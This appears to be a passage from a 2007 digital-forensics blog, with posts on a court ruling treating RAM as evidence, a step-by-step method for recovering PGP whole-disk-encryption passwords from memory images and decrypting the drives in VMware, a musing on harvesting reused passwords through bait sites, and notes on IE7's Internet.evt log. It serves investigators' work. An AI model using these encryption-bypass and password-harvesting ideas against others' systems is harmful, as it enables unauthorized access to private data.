What I found most interesting was the discussion of the issue. The Judge's ruling explains some of the history of RAM in Federal court cases, and since there are not a lot of them, I found the analysis enlightening.

You can find the original here, but I have included the discussion below. The case is Columbia Pictures et al. v. Justin Bunneli, et al. CV 06-1093 in the Central District of California

Discusson of Websites in general.

Operation of defendants' website.

Discussion of server log data.

RAM is Electronically Stored Information according to the Federal Rules of Evidence:

MAI Systems Corporation v. Peak Computer, Inc., 991 F.2d. 511, 518-19(9th Cir. 1993) citation:

Perfect 10, Inc. v. Amazon.com, Inc., 2007 WL 1428632 (9th Cir. May 16, 2007:

Three more cases discussing RAM:

If you read the decision, you see that there are several cases where courts have ruled that data in RAM is both tangible and recoverable. What does all this have to do with forensics? Well, what if you had a case where a kid had been kidnapped after chatting with the bad guy in an Instant Messaging session and there was not any logging of chats?

Assume that you could collect the contents of RAM and find the smoking gun there (say, the offender's IM name) and this led you to the bad guy, and you later discovered that he killed the kid. If you had those kinds of data from RAM, that could be incredibly important to your case. If your evidence came up for a supression hearing, you could point your prosecutor to some other cases where other courts had examined the contents of RAM as evidence, and that might be useful to help put our bad guy where he belongs by helping get the chats you recovered allowed into evidence at trial.

"Defeating" Whole Disk Encryption, Part 3

2007-06-11T02:24:00.001Z

In Part One, we reviewed obtaining the last 16 characters of the PGP password from a computer that was live. In Part Two, we reviewed how to set up your VMware box so you can boot the image. In this post we will review the options for imaging the computer, be forewarned, neither is a perfect solution.

Tools you may need:

1. The PGP recovery .iso. You will need the correct .iso for the version of PGP installed on the computer. You can find the files linked from this page.

2. You may also need the original media used to install the OS on the computer, or a version that is very close. In other words, if the computer is running XP Home, you will need an XP Home CD. It's usually better to have the one that was used to install the OS on your suspect's box, but I've had success without having it.

Now it's time for the choice we discussed in post two; do you need unallocated space? If you don't, you can jump down to the decryption option, but really, now would be a good time to back up your VMware files - you'll need them so you can go back to a good image, and to document your work. Let's call this back-up 1.

"LIVE" ACQUISITION OPTION:

Boot your drive, enter the PGP password and get through the windows boot sequence. If you have boot failures, use the OS CD to get the necessary files and continue to reboot until you can boot the computer. Once you have the drive booted, you can use a variety of tools to acquire the drive back to the share on your computer.

You may need to add another drive share if you do not have sufficient drive space - follow the steps you followed to add a shared folder if you do.

The advantage of this method is that you will be able to access unallocated space and file slack on the drive. The disadvantages include having to make multiple changes to the drive which includes adding files. The good news is that another examiner will have to follow the same steps (when using your computer). The files that you add won't be evidentiary in nature, but you are changing the evidence; however, there is no other option of which I'm aware so I think it's defensible.

DECRYPTION OPTION:

Edit your VMware session and change your CD ROM device from the physical device to the .iso image that you downloaded from PGP.

Save your settings and boot the VM ensuring that you are booting to the CD first.

The CD will ask for the PGP password and run through a decryption dialogue. I'm writing this from memory, so I won't try and outline the steps, but it's self explanatory. After you begin decryption, take the day off because you are going to have long wait. I've found that it takes 16-24 hours.

Once the drive is decrypted, take a snapshot with VMware and then save those files as backup 2.

Now you can boot the computer, or pull the decrypted VM into Encase for analysis. You won't see anything in unallocated space. Apparently, VMware only decrypts allocated files, but you should have all the active files available for analysis. Again, not perfect, but better than nothing right?

A couple of other thoughts:

I suspect that putting a new drive in the suspect's computer and installing a new OS with VMware etc. on your drive, then booting the suspect's drive as a VM would get past the compatability problems - if anyone has time to test this, I'd be really interested in knowing your results.

If you don't have the PGP password, AccessData's Password Recovery Toolkit and Distributed Network Attack can be used to brute force the partition. I haven't tried it, but they claim that this is possible.

What's in your (electronic) wallet?

2007-06-10T22:13:00.000Z

I was looking at RSnake's Mr. T the other day. For those who don't know, Rsnake developed a pretty simple proof of concept showing the information that your browser will disclose to someone with a website. You can see a demo here. Notice that your browser gives up your web-based email address?

This got me thinking; why waste your time phishing for passwords? It's a given that everyone reuses passwords. A bit of googling turned up turned up a small academic study showing that the average was just over 3 per person.

So what does all this mean? Where does almost every website send your password? Right to your email account in most cases. So if I can read your email, I can own any account I want that is associated with that email. I can get a password reminder, or a password reset sent there and if I'm smart, the user would never know until it is too late.

So why phish for passwords? I could create a site that grabbed all the user's data (and probably a bit more) than Mr. T grabs, and get the user to give me a password. I could give the user something that they want (think Free Porn). Since I have a one in three chance that the password, (or even one in ten for that matter) I could go take over a lot of users lives. Bank accounts, your resume, your mother's maiden name, passwords to your favorite sites? I read user's email all the time - that's all there for the taking.

Now the second question is; What to do about it? This is a acknowledged problem, but short of carrying around an encrypted USB drive (user's don't want that), or using some form of two-factor authentication, I don't see any answers on the horizon.

The scary thing is, if I'm thinking about this, someone's already doing it.

New updates are coming, or I don't like group papers

2007-06-06T00:51:00.000Z

I am in the process of finishing up my MS this month, so things are on hold here until I finish up finals, term papers and a short teaching gig this week.

The worst part of grad school is working on group papers. It is hard enough to do your own work, but when you have to share the load with 3-5 other people, it makes things even more complicated, and if you are the guy who has to edit and produce the final product, your life just sucks.

Now where did I leave my APA guide. . .?

"Defeating" Whole Disk Encryption - Part 2 "Ok, I've got the password, now what"

2007-05-24T00:24:00.000Z

In my last post I discussed some techniques for obtaining a PGP encrypted password from a DD image of the physical memory. Let's quickly take a look at how to tackle a dead box before we start to tie all this together.

Dead box:

I'm going to quickly go over this, as I haven't tested what I'm going to write about here.

Accessdata's Password Recovery Toolkit and Distributed Network Attack can be used to bruteforce a dead box. I have not done this, but I'm a big fan of all of Accessdata's tools.

So now we have broken the password/passphrase what are your choices?

Let us assume that you have the password, but you couldn't make a live image of the box. How to get in? Before I start, I'm going to put a big shout out to Dave Shaver over at the US Army's Computer Crime Investigative Unit - a lot of what follows is based on his research and work. . . There are a few other ways that might work here, but this is the one that I've tested.

The Attack:

You are going to need Vmware workstation and Encase. You will also need to download the PGP decryption .iso for the PGP encryption version that your box is running. You can download those here.

Step 1:

In VMware workstation create a VM that you can install Encase (XP, 2000 etc).

Step 2:

Boot your drive, install vmware tools - shutdown the VM.

Step 3.

Edit your shared folders , , and add the folder/drive to add the encrypted image files to something that the VM can access. You might also want to add the folder where you have the Encase installer executable and the Hasp Driver installation file (or you could download those from guidancesoftware.com - your call, but they need to be on the VM or in a folder the VM can access).

Step 4:

Add a second hard drive to your virtual machine. The second hard drive should be slightly larger than the original drive on the encrypted machine. So if the original drive was 188.6 GB, you will want to make your machine 188.7 in VMware. (Note: If you have problems, keep incrementally increasing the size of the drive)

Step 5:

Reboot the VM, install the hasp driver and Encase. With VMware in the foreground, plug in your Encase dongle and start Encase.

Step 6:

Encase should be running in forensic mode. Add the image into Encase. Go through the restoration procedures as if you were restoring the image to a drive, but here, you are going to restore the image to the second drive that we created in step 4. There's a how-to in the Encase manual if you are not sure of the procedures.

Step 7:

Power off your VM, take a copy of the file related to the step 4 drive and copy them to the drive where you have the original image files - copies are your friend here. It's good forensic practice and even if you don't think you need to do this, you'll see why you want to as you read on.

Step 8:

Edit the settings on your virtual drive. Remove the drive that you used to boot (the one we created in step 1). The only drive that should remain active for your VM is the drive from Step 4 - the restored image of the PGP encrypted computer.

Now it is decision time. What are you looking for? Will you be satisfied with only the files that are not deleted, or do you want to make a few changes to the drive and have the chance to get into unallocated space? The good news is that you can have it both ways.

We will tackle that in the next post.

"Defeating" Whole Disk Encryption - Part 1

2007-05-22T23:23:00.000Z

An issue that we are going to continue to encounter is computers with whole disk encryption (WDE). I'm going to post a couple of techniques that have worked for me, and hopefully they'll be of use to someone else out there. In this post, we will look at PGP's WDE, although the techniques outlined here should be easily applied to other encryption schemes.

The background:

PGP WDE uses 256 bit, symmetric AES encryption. For those of you that don't know what this means, suffice it to say that the algorithm is sufficiently strong to prevent the average person/company/government agency from breaking it.

In many cases we do not have the cooperation of the system owner, so how do we handle this?

Scenario 1 - the computer is running:

If there ever was a reason to argue the Live vs. Dead acquisition arguement, disk encryption has to be one in favor of the live side. My personal preference is to acquire the volatile memory (at a minimum) before shutting down the system. Let's assume that you cannot image the whole system live - grabbing the memory with a tool like George Garner's forensic DD. No, it won't work on Vista or Server 2003 with a service pack installed, but the price is right. If you have the money though, George has solved that problem too.

So now you have a dd image of the physical memory, and a dead computer. You image the same computer and you start looking at the drive and realize that you are seeing nothing but garbage - there's no usable data on the drive.

Fortunately, Adam Bolieau help solved that problem. Adam and Tmasky did some really interesting work on acquiring memory via firewire, but he also wrote some really useful code that will read BIOS passwords from memory. Fortunately for us, PGP stores its passwords in the same memory location. So all we have to do is point bioskbsnarf.py[1] at the DD image that we made of the memory and viola - there's the password.
or at least the last 16 bytes in the keyboard interrupt buffer in the BIOS Data Area before you enter protected mode - so you may not see the "whole" password, but would you rather try to brute force but wouldn't it be easier to brute force the password "I am Computer Geek" if you could see: " a Computer Geek"? I think so. . .

Coming up:

Ok, I've got the password. Now what?

[1]. biobksnarf needs a Python interpreter to run. Python can be downloaded from Python.org, though I have not used the windows binaries with biokbsnarf. If you run into problems, try cygwin's python interpreter on a windows system.

From the command line: "python biobksnarf.py " should do the trick.

IE7 Internet.evt continued

2007-05-15T23:42:00.000Z

Andreas Schuster has some follow-up regarding the internet.evt file. Andreas points out that with XP SP2 (German Locale) the file is "Windows .evt" Take a minute to check out his blog.

Further testing on my system reveals that this file has remained its default size 65,536 and clearing the log file seems to have no effect - same file size, same lack of content.

Has anyone seen anything different?

And just to clarify:

In my last post, I wrote that "Using psloglist against the file appears to dump the contents of the file." However, further testing shows that the file is not readable - when Windows cannot find the event file specified, it opens AppEvent.evt.

To illustrate, here is a screenshot of psloglist being run against "cybermonkey." Since there is no cybermonkey.evt on my computer, I get the data from AppEvent.evt.

2007-05-06T16:52:00.000Z

First off, Harlan Carvey mentions that his new book has information about this on page 205; I still haven't made it out to buy the book yet, but the day isn't over. Harlan also mentions that the file is created when IE7 is installed.

Wow, there's been quite a response to the first post. . . A couple of things that Andreas Schuster requested. This is the contents of the HKLM\System\CurrentControlSet\Services\EventLog\Internet Explorer

and this is the HKLM\System\CurrentControlSet\Services\EventLog\Internet Explorer:

This is Internet.evt opened in a hex editor:

the remainder of the file appears to be empty. Using psloglist against the file appears to dump the contents of the file.

Internet.evt

2007-05-04T16:50:00.000Z

While coding an event log dumper for Windows systems. I stumbled upon a something that was, I thought, of interest to forensic examiners. I found a new (and apparently undocumented) event log - %windir%\system32\config\Internet.evt.

According to this post, and this one as well, the file shows up when Internet Explorer 7 is installed. This coorelates with the computers that I have available (that is computers with IE7 have the file, and those with IE6 do not), though I have not yet tested this to determine that this is in fact the case.

I haven't spent a lot of time looking at the structure of .evt files generally, but in my experience, they are generally readable with a hexeditor, but this is not so with the internet.evt. The windows event viewer, when opened shows this file as Internet Explorer, but it appears empty. When I turned the log viewer I was coding towards the file, however; it had some interesting artifacts.

Most notably, software installations were logged. Including (I think) software installations that were performed using Firefox. This could be very relevant when investigating intrusions where a web browser is used to download and install tools, but obviously some more testing needs to be done.

I'll post what I find in a follow-up, but to summarize:

I know Internet.evt:

exists on XP with IE7 installed.
does not appear to exist with pervious versions of IE.
resides in the %windir%\system32\config
is not visable to the windows event viewer in XP home (tested on 1 box).

I suspect the file:

is created when IE7 is installed.
has a file structure that differs from standard event logs.
also logs internet related software installations from other browsers.

To do:

test suspicions
figure out what types of data are stored in the file.
determine what registry entries (if any) are associated with the file.

If anyone knows anything more about this, I'd be interested in hearing from you. I couldn't find any reference on Microsoft's Technet but, we all know the schitzophrenic nature of Technet, so there might be some reference somewhere. . .